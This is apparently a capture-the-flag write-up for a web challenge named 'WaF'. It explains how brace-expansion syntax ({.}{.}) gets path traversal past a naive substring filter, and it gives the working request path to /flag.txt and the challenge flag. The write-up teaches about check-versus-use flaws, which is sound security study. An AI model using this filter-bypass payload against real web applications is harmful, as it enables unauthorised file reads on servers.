  • Fix: Restrict internal endpoints to internal networks or require admin authentication

WaF

Description

Category: WEB/API Points: 190 Solves: 63

You can't get the /flag.txt ever.

Link: http://45.56.66.96:7789/

Solution

The challenge presents a Flask web application with a WAF (Web Application Firewall) that blocks path traversal attempts.

Source Code Hint (in HTML comment):

The WAF performs a simple substring check: if the filename contains .. or %, access is denied.

Key Observations:

  1. The challenge name "WaF" has a lowercase 'a', matching the {a} format string in the HTML

  2. The author hint mentioned "url globbing" - referring to brace expansion patterns

  3. The WAF checks for the literal string .. before any pattern expansion

The Bypass:

The trick is to use URL globbing/brace expansion syntax {.} which expands to .. By using {.}{.}, we construct .. AFTER the WAF check:

  • Raw path: {.}{.}/{.}{.}/flag.txt

  • WAF sees: {.}{.}/{.}{.}/flag.txt (no literal .. - PASS)

  • After expansion: ../../flag.txt (path traversal achieved)

Exploit:

URL decoded: /{.}{.}/{.}{.}/flag.txt

Flag: KCTF{7fdbbcd6c3cee0ae65c5ca327c14a25f6e473d1c}

Key Takeaway

The vulnerability is a classic check-vs-use mismatch: the WAF checks for .. on the raw URL pattern, but the file system operation happens after brace/glob expansion. The {.} pattern is expanded to . by Python's glob or brace expansion mechanism, allowing {.}{.} to become .. and bypass the naive substring filter.

Last updated